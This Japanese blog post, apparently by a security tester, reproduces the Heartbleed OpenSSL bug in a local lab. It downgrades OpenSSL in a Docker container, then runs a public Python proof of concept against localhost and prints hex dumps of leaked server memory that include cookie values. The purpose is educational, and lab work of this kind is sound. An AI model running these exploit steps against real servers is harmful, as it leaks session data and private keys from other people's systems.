今更かもしれないけどHeartbleedやってみた

はじめに
---
こんにちは、株式会社シーエー・アドバンス技術統括本部の@sk888です。
普段はWEBサイトやスマートフォンアプリの脆弱性診断業務をしています。

タイトルの通り今更なんですが、まぁ、今日でHeartbleed童貞を卒業したいと思います。
脆弱性を含んだWEBサーバーを立ててhttpsのポートに対してPoCを実施します。


Heartbleedとは
---
ウィキペディアのページ
>このバグはTransport Layer Security（TLS）のハートビート拡張プログラムのサーバーメモリ操作のエラー処理にあった[13][14] 。このバグは生存確認信号（Heartbeat）の発信毎に、アプリケーションメモリーを64キロバイトずつ露出する可能性があった[14]。このバグは不適切なハートビート要求をサーバーに送信し、サーバーが返信する際に実行される。サーバーは通常は受け取った情報と同じ大きさのデータのバッファー（塊）を返信するが、バグにより境界検査が欠けていたので、バグがあるバージョンのOpenSSLはハートビート要求の大きさの妥当性を確認しない。その結果、攻撃者はサーバーのメモリを好きな大きさで見ることが出来る
[「ハートブリード」（2017年10月7日 (土) 15:25）『ウィキペディア日本語版』](https://ja.wikipedia.org/wiki/ハートブリード)

SSLコネクションをキープする為のハートビート拡張の実装において、クライアントから送信されるハートビート要求リクエストの実際のペイロードデータの大きさとリクエストに含まれる大きさの値を検証せず、値を改竄することにより実際のペイロードデータよりも多くのレスポンスをサーバーが返してしまい、この中にはメモリのデータが含まれるのでサーバーが保持してりるセッションIDや秘密鍵の情報が漏れる可能性があるという理解です。

RFC 6520には下記の記載がありました。
>If the payload_length of a received HeartbeatMessage is too large,
   the received HeartbeatMessage MUST be discarded silently.

Google翻訳
>受信したHeartbeatMessageのpayload_lengthが大きすぎる場合、 受信したHeartbeatMessageはサイレントに破棄する必要があります。

つまりpayload_lengthの入力値を信じてその大きさ通りにレスポンス返しちゃいけないということで、値を検証して実際のデータよりも大きい場合は「サイレントに破棄」⇒「何も返さない」とすべきだったということだと思います。
ハートビート(心臓の鼓動)機能の実装でメモリデータが漏洩してしまうのハートブリード(心臓出血)と命名するのセンスいいですね。

環境
---
「PC」
windows10 PRO 19042.685
Docker Desktop (Docker version 20.10.0, build 7287ab3)
Python 2.7.17

「脆弱性を含んだWEBサーバー」
Ubuntu:14.04　※dockerイメージ
Apache/2.4.7 (Ubuntu)　※ubuntu上で手動インストール
openSSL　openssl_1.0.1e-2
libssl1.0.0_1.0.1e-2
wget
curl

実は
---
githubにこの脆弱性を含んだdockerイメージも色々あってそちらは容易に試せるんですが、すんなり行き過ぎたので、あえてdockerで立てるのはUbuntuだけにしてそちらにapacheと脆弱性を含んだopenSSLを手動でインストールして環境準備しました。

すんなりいったdockerイメージでの環境構築にはこちらを使わせて頂きました。
[hmlio/vaas-cve-2014-0160](https://github.com/hmlio/vaas-cve-2014-0160)
READMEを参照してコンテナを立ち上げれば、localhostの8443ポートで待ち受けるhttpsサービスが起動します。

コンテナが立ち上がらずステータスがExited (139)になる場合はこちらのサイトが参考になります。私の環境では回避策を実施した後、PC再起動で起動出来るようになりました。
[wsl2のDocker runでexited(139)が起きた場合の回避策](https://qiita.com/kurousa/items/44f48089ae84deba7291)






dockerでUbuntu起動
---
ubuntuバージョンについては14.XXのバージョンで他にも4種類くらい試してみましたが、特にやることは変わりませんでした。
14なのはdockerhubにあるイメージの中で一番古かったのでそれを使用しました。
後でlocalhostの8443ポートにPoCを試すので、-pオプションでコンテナの443ポートにフォワーディング。
実行するとそのまんまrootでコンテナにログインします。

```docker
>docker run -it -p 8443:443 ubuntu:14.04
```



Ubuntuに必要なパッケージをインストールしてapache2を起動
---
パッケージ一覧を更新します。
これしないとaptコマンドがエラーになります。

```
>apt update
```

脆弱性を含んだopenSSLパッケージ等取得する為にwget、コンテナ内での確認の為のcurl、WEBサーバーのapache2をインストール。確認出たら「Y」を選択します。

```
>apt install wget curl apache2
```

このインストールでopenSSLも入っちゃうんですが、後でダウングレードします。対象バージョン情報では101fは脆弱性の影響を受けると記載があるんですが、実際に
このバージョンに試したところレスポンスを返さず、HeartBleed脆弱性は検出されませんでした。


```
>openssl version -a
OpenSSL 1.0.1f 6 Jan 2014
built on: Tue Dec  4 20:09:18 UTC 2018
platform: debian-amd64
options:  bn(64,64) rc4(16x,int) des(idx,cisc,16,int) blowfish(idx)
compiler: cc -fPIC -DOPENSSL_PIC -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -m64 -DL_ENDIAN -DTERMIO -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -D_FORTIFY_SOURCE=2 -Wl,-Bsymbolic-functions -Wl,-z,relro -Wa,--noexecstack -Wall -DMD32_REG_T=int -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DMD5_ASM -DAES_ASM -DVPAES_ASM -DBSAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM
OPENSSLDIR: "/usr/lib/ssl"
```
openSSLのSecurityAdvisoryに下記記載があります。
[OpenSSL Security Advisory [07 Apr 2014]
TLS heartbeat read overrun \(CVE-2014-0160\)](https://www.openssl.org/news/secadv/20140407.txt)
>Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including
>1.0.1f and 1.0.2-beta1.
~略~
>Affected users should upgrade to OpenSSL 1.0.1g. Users unable to immediately
upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS.
>1.0.2 will be fixed in 1.0.2-beta2.

Google翻訳
>1.0.1fおよび1.0.2-beta1を含むOpenSSLの1.0.1および1.0.2-betaリリースのみが影響を受けます。
~略~
>影響を受けるユーザーは、OpenSSL1.0.1gにアップグレードする必要があります。
すぐにアップグレードできないユーザーは、代わりに-DOPENSSL_NO_HEARTBEATSを使用してOpenSSLを再コンパイルできます。
>1.0.2は1.0.2-beta2で修正されます。

つまり対象バージョン(1.0.1fおよび1.0.2-beta1を含むOpenSSLの1.0.1および1.0.2-beta)である&コンパイルオプションに「DOPENSSL_NO_HEARTBEATS」が使用されていないことが脆弱性が含まれる条件になります。
※先程も記載しましたが、101fだと検出されないので101eにダウングレードします。
※「apt show openssl」コマンドで出てくるパッケージは101fなので「wget」コマンドでで一つ前のバージョンを取得して,「dpkg」コマンドでダウングレードします。
警告は出ますがきちんとダウングレードされます。

```
>wget http://snapshot.debian.org/archive/debian/20130319T033933Z/pool/main/o/openssl/openssl_1.0.1e-2_amd64.deb -O /tmp/openssl_1.0.1e-2_amd64.deb

>dpkg -i /tmp/openssl_1.0.1e-2_amd64.deb
dpkg: warning: downgrading openssl from 1.0.1f-1ubuntu2.27 to 1.0.1e-2
(Reading database ... 12840 files and directories currently installed.)
Preparing to unpack .../tmp/openssl_1.0.1e-2_amd64.deb ...
Unpacking openssl (1.0.1e-2) over (1.0.1f-1ubuntu2.27) ...
Setting up openssl (1.0.1e-2) ...

>wget http://snapshot.debian.org/archive/debian/20130319T033933Z/pool/main/o/openssl/libssl1.0.0_1.0.1e-2_amd64.deb -O /tmp/libssl1.0.0_1.0.1e-2_amd64.deb

>dpkg -i /tmp/libssl1.0.0_1.0.1e-2_amd64.deb
dpkg: warning: downgrading libssl1.0.0:amd64 from 1.0.1f-1ubuntu2.27 to 1.0.1e-2
(Reading database ... 12840 files and directories currently installed.)
Preparing to unpack .../libssl1.0.0_1.0.1e-2_amd64.deb ...
Unpacking libssl1.0.0:amd64 (1.0.1e-2) over (1.0.1f-1ubuntu2.27) ...
Setting up libssl1.0.0:amd64 (1.0.1e-2) ...
Processing triggers for libc-bin (2.19-0ubuntu6.15) ...
```

opensslのバージョンを再度確認します。
101eになっている事と「comiler:」に"DOPENSSL_NO_HEARTBEATS"オプションがない事を確認出来ます。

```
>openssl version -a
OpenSSL 1.0.1e 11 Feb 2013
built on: Mon Mar 18 20:41:20 CET 2013
platform: debian-amd64
options:  bn(64,64) rc4(16x,int) des(idx,cisc,16,int) blowfish(idx)
compiler: gcc -fPIC -DOPENSSL_PIC -DZLIB -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -m64 -DL_ENDIAN -DTERMIO -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -D_FORTIFY_SOURCE=2 -Wl,-z,relro -Wa,--noexecstack -Wall -DMD32_REG_T=int -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DMD5_ASM -DAES_ASM -DVPAES_ASM -DBSAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM
OPENSSLDIR: "/usr/lib/ssl"
```

apache2のhttpsを有効にします。

```
>a2enmod ssl
Considering dependency setenvif for ssl:
Module setenvif already enabled
Considering dependency mime for ssl:
Module mime already enabled
Considering dependency socache_shmcb for ssl:
Enabling module socache_shmcb.
Enabling module ssl.
See /usr/share/doc/apache2/README.Debian.gz on how to configure SSL and create self-signed certificates.
To activate the new configuration, you need to run:
  service apache2 restart

>a2ensite default-ssl
Enabling site default-ssl.
To activate the new configuration, you need to run:
  service apache2 reload
```

apache2を起動します。

```
>service apache2 start
```

コンテナ内でcurlでhttpアクセスしてみます。
HTMLがザザーンと表示されればアクセスできています。

```
>curl localhost
```

コンテナ内でcurlでhttpsアクセスしてみます。
HTMLがザザーンと表示されればアクセスできています。
-kオプションは証明書エラーをスキップします。

```
>curl -k https://localhost
```

どちらのcurlコマンドも成功したらコンテナ上ではapache2webサービスが起動しており、
httpとhttps両方へのアクセスが可能なことが確認出来ました。
それではdockerを動かしているPCの8443ポート(Ubuntu起動時に8443→443でポートフォワーディング)にアクセスしてコンテナのapache2webサービスにアクセス出来ているかブラウザで確認しましょう。

```
ブラウザで「https://localhost:8443」にアクセス
```
証明書の警告画面が出ると思いますので「詳細」⇒「localhostにアクセス」を押下して下記のデフォルトページが表示されればコンテナとhttps通信が出来ています。
![2020-12-24 16.16.15 localhost 78ef86df416b.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/255483/553d69e5-d6ea-3268-0fa2-264bbc8041b6.png)

PoCをやってみよう
---
環境準備が終わったので本題のPoCを実施します。
"Heartbleed PoC"で検索すれば色々出てきますが、私は下記のPoCを使わせて頂きました。
2系のpythonで動作します。実行するには、事前にpythonをインストールしてパスを通しておく必要があります。
[ah8r/README.md](https://gist.github.com/ah8r/10632982)

python環境さえ準備すれば、あとはpython実行可能な適当なディレクトリにgit cloneして
「cardiac-arrest.py」ファイルを実行するだけです。

```
>git clone https://gist.github.com/10632982.git

>cd 10632982
```
「-p」オプションでポートを指定します。先程ブラウザでアクセスしたように8443ポートを指定します。

```
>python cardiac-arrest.py -p 8443 localhost
[INFO] Testing: localhost (127.0.0.1)

[INFO] Connecting to 127.0.0.1:8443 using SSLv3
[FAIL] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:8443 is vulnerable over SSLv3
[INFO] Displaying response (lines consisting entirely of null bytes are removed):

  0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04  ......SHs.|.....
  0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0  ..-I...@........
  0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00  .B.D.Y..........
  0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00  .......... .!.".
  0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00  #.$.%.&.'.(.).*.
  0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00  +.,.-.../.0.1.2.
  0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00  3.4.5.6.7.8.9.:.
  00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00  ;.<.=.>.?.@.A.B.
  00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00  C.D.E.F.`.a.b.c.
  00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00  d.e.f.g.h.i.j.k.
  00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00  l.m.............
  01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0   .!.".#.$.%.&.'.
  01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0  (.).*.+.,.-.../.
  01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0  0.1.2.3.4.5.6.7.
  01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0  8.9.:.;.<.=.>.?.
  01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0  @.A.B.C.D.E.F.G.
  01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0  H.I.J.K.L.M.N.O.
  0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0  P.Q.R.S.T.U.V.W.
  0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0  X.Y.Z.[.\.].^._.
  0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0  `.a.b.c.d.e.f.g.
  0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0  h.i.j.k.l.m.n.o.
  0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0  p.q.r.s.t.u.v.w.
  0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0  x.y.z.{.|.}.~...
  02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  0300: 10 00 11 00 23 00 00 00 0F 00 01 01 4C 37 78 34  ....#.......L7x4
  0310: 31 67 4D 48 46 77 30 32 71 48 31 75 45 73 41 30  1gMHFw02qH1uEsA0
  0320: 6B 61 31 4A 6B 68 68 25 32 32 25 37 44 3B 20 69  ka1Jkhh%22%7D; i
  0330: 6F 3D 7A 52 77 4E 45 66 58 58 62 4C 43 50 43 61  o=zRwNEfXXbLCPCa
  0340: 55 72 41 41 41 43 3B 20 63 6F 6E 74 69 6E 75 65  UrAAAC; continue
  0350: 43 6F 64 65 3D 57 4D 34 44 31 4D 42 62 6A 37 58  Code=WM4D1MBbj7X
  0360: 50 61 7A 5A 52 6D 31 78 35 32 4C 72 70 6E 6F 45  PazZRm1x52LrpnoE
  0370: 41 4C 4E 54 52 4C 47 67 79 51 39 4F 4E 33 6B 76  ALNTRLGgyQ9ON3kv
  0380: 71 44 4B 38 6C 36 56 4A 57 77 34 65 59 37 77 62  qDK8l6VJWw4eY7wb
  0390: 6C 0D 0A 0D 0A 67 5B C8 63 66 B4 AC 0A 9A 11 27  l....g[.cf.....'
  03a0: 2D FC 50 43 F2 43 61 55 72 41 41 41 43 3B 20 63  -.PC.CaUrAAAC; c
  03b0: 6F 6E 74 69 6E 75 65 43 6F 64 65 3D 57 4D 34 44  ontinueCode=WM4D
  03c0: 31 4D 42 62 6A 37 58 50 61 7A 5A 52 6D 31 78 35  1MBbj7XPazZRm1x5
  03d0: 32 4C 72 70 6E 6F 45 41 4C 4E 54 52 4C 47 67 79  2LrpnoEALNTRLGgy
  03e0: 51 39 4F 4E 33 6B 76 71 44 4B 38 6C 36 56 4A 57  Q9ON3kvqDK8l6VJW
  03f0: 77 34 65 59 37 77 62 6C 0D 0A 0D 0A 86 70 B1 4F  w4eY7wbl.....p.O
  0400: F7 F3 26 1B 45 1A 82 69 BB 12 B7 43 00 00 00 00  ..&.E..i...C....
```
実際の大きさは3byteのデータを送ったのにレスポンスは16384byteのデータが返されました！このデータに機微な情報が含まれていたら漏洩してしまっていましたね。
古いバージョンだけあって、特に指定しない場合はネゴシエーションの結果「SSLv3」を使用してしまっていますね。

オプションでTLSv1.2を使用して再度実行してみました。

```
C:\Users\S02476\Mydev\Heartbleed4\10632982>python cardiac-arrest.py -p 8443 -V TLSv1.2 localhost
[INFO] Testing: localhost (127.0.0.1)

[INFO] Connecting to 127.0.0.1:8443 using TLSv1.2
[FAIL] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:8443 is vulnerable over TLSv1.2
[INFO] Displaying response (lines consisting entirely of null bytes are removed):

  0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04  ......SHs.|.....
  0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0  ..-I...@........
  0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00  .B.D.Y..........
  0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00  .......... .!.".
  0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00  #.$.%.&.'.(.).*.
  0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00  +.,.-.../.0.1.2.
  0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00  3.4.5.6.7.8.9.:.
  00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00  ;.<.=.>.?.@.A.B.
  00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00  C.D.E.F.`.a.b.c.
  00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00  d.e.f.g.h.i.j.k.
  00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00  l.m.............
  01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0   .!.".#.$.%.&.'.
  01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0  (.).*.+.,.-.../.
  01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0  0.1.2.3.4.5.6.7.
  01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0  8.9.:.;.<.=.>.?.
  01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0  @.A.B.C.D.E.F.G.
  01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0  H.I.J.K.L.M.N.O.
  0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0  P.Q.R.S.T.U.V.W.
  0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0  X.Y.Z.[.\.].^._.
  0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0  `.a.b.c.d.e.f.g.
  0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0  h.i.j.k.l.m.n.o.
  0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0  p.q.r.s.t.u.v.w.
  0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0  x.y.z.{.|.}.~...
  02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00  ....#...........
```

同様に検出していますね！



最後に
---
いかがでしたでしょうか？
昔はこういう検証するのも古いPCに無料のLinuxディストリビューション入れてやったり、中古の業務用スイッチを購入したりしてお金もかかるし、それはそれで楽しいのですが仮想化技術が進んだおかげで簡単に環境を立てたり壊したり出来るのでとても便利ですね。
今年ももうすぐ終わってしまいますが、来年はまた色々と新しい事に挑戦していきたいですね。今更な記事でしたが、ここまで読んで頂いてありがとうございました！